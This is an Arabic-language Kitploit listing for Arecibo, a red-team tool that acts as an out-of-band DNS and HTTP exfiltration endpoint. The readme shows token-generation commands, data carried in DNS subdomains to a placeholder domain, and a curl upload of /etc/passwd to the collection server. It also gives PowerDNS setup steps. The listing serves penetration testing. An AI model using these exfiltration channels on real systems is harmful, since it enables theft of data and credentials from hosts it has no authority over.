Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
Arecibo — نقطة نهاية لاستخراج خارج النطاق (DNS & HTTP) | Kitploit
أدوات/GitHubGitHub/tarlogicsecurity/arecibo
تسريب البياناتجمع المعلوماتاختبار الاختراقالفريق الأحمرتحليل DNS
GitHubtarlogicsecurity/arecibo

Arecibo

نقطة نهاية لاستخراج خارج النطاق (DNS & HTTP)

عرض المستودع
9421منذ 7 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

Arecibo

نقطة نهاية لاستخراج البيانات خارج النطاق (DNS & HTTP)

المؤلفون

Juan Manuel Fernández (@TheXC3LL) & Pablo Martinez (@Xassiz)

استخراج DNS

أنشئ رمزًا مميزًا جديدًا:

root@kitploit:~
curl localhost:5000/generatedns

{"htoken": "c008b5dd22817c50441522f917c66743"} 

الآن يمكنك استخدام هذا الرمز التعريفي لإجراء استعلامات DNS (ABCD.TOKEN.x.yourdomain.com):

root@kitploit:~
> test-exfiltracion.c008b5dd22817c50441522f917c66743.x.DOMINIO
Server:         127.0.0.1
Address:        127.0.0.1#53

Name:   DOMINIO
Address: 127.0.0.1

يمكنك التحقق من الزيارات والبيانات المستخرجة عبر /hitsdns/TOKEN:

root@kitploit:~
curl localhost:5000/hitsdns/c008b5dd22817c50441522f917c66743

{"hits": [{"htoken": "c008b5dd22817c50441522f917c66743", "data": "test-exfiltracion", "id": 9, "timestamp": 1541748637.165287}]} 

إذا أردت جميع البيانات متسلسلة استخدم /dumpdns/token:

root@kitploit:~
curl localhost/dumpdns/c008b5dd22817c50441522f917c66743

{"dump": "test-exfiltracionconcatenatedtootherinfo"}

استخراج HTTP

أنشئ رمزًا مميزًا:

root@kitploit:~
curl localhost:5000/generatehttp

{"htoken": "2aa88ba02cbc0d6b72213fc117ae03dc"}

الآن يمكنك استخراج المعلومات عبر طلبات HTTP ( http://yourodmain.com/h/TOKEN). سيتم تسجيل معاملات GET/POST والترويسات وعنوان IP بواسطة Arecibo.

root@kitploit:~
curl localhost:50000/h/2aa88ba02cbc0d6b72213fc117ae03dc
It works!

لاسترداد المعلومات، استخدم /hitshttp/TOKEN:

root@kitploit:~
 curl localhost:5000/hitshttp/2aa88ba02cbc0d6b72213fc117ae03dc
 
{"hits": [{"get": {}, "timestamp": 1541592259.541545, "headers": {"X-Real-Ip": "x", "Connection": "close", "Host": "x", "Accept": "*/*", "User-Agent": "curl/7.55.1"}, "htoken": "2aa88ba02cbc0d6b72213fc117ae03dc", "post": {}, "ip_address": "x"}]}

إذا كنت بحاجة إلى عرض HTML أو ترويسات أو رمز حالة مخصص، استخدم طريقة POST لتعيين قيمها (يجب أن يكون النص مُرمَّزًا بـ base64):

root@kitploit:~
curl localhost:5000/generatehttp -H "Content-Type: application/json" --data '{"body" :"SGVsbG8gd29ybGQhIAo=", "headers":{"Server":"PWNED"}, "status" : 504}'
{
    "htoken": "324e18288eed54548392c5a65514b3dc"
}

حل DNS الديناميكي

يقوم Arecibo بحل النطاقات وفق النمط X.Y.Z.A.ip.yourdomain.com كـ X.Y.Z.A:

root@kitploit:~
> 10.0.0.1.ip.yourdomain.com
Server:         127.0.0.1
Address:        127.0.0.1#53

Name:   yourdomain.com
Address: 10.0.0.1

نقل الملفات

ارفع ملفًا باستخدام نقطة النهاية /upload:

root@kitploit:~
curl localhost:5000/upload -F 'x-file=@/etc/passwd'

{"htoken": "36981274bdb9cc833472681caeb82337"}

لتنزيله استخدم الرمز المميز المُنشأ:

root@kitploit:~
curl localhost:5000/download/36981274bdb9cc833472681caeb82337 

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

معلومات IP

يعرض عنوان IP للعميل عبر /ip:

root@kitploit:~
curl localhost:5000/ip
{"ip": "127.0.0.1"}

التثبيت والتكوين

ستحتاج إلى تثبيت pdns و pdns-backend-pipe من مستودعات التوزيعة الخاصة بك، ووحدات flask و flask_restful للغة Python.

  1. قم بتحرير إعدادات arecibo-dns-backend.py بقيمك الخاصة
  2. تعيين صلاحيات التنفيذ chmod +x arecibo-dns-backend.py
  3. تحرير pdns.conf (تحقق من مكانه في توزيعتك)
root@kitploit:~
setuid=1001
setgid=1001
launch=pipe
pipe-command=/your/path/arecibo-dns-backend.py

(قم بتغيير setuid/setgid إلى القيم المستخدمة لتشغيل سكريبت API، يجب أن تكونا متطابقتين)

  1. قم بتشغيل arecibo-api.py و pdns_server (تحقق من مكانه في توزيعتك)

يجب تكوين الخادم الخاص بك كخادم DNS موثوق (Authoritative) لنطاقك

هام: يجب إعداد nginx أو أي وكيل عكسي آخر أمام Arecibo لتوفير المصادقة والأمان.

تنزيل الأداة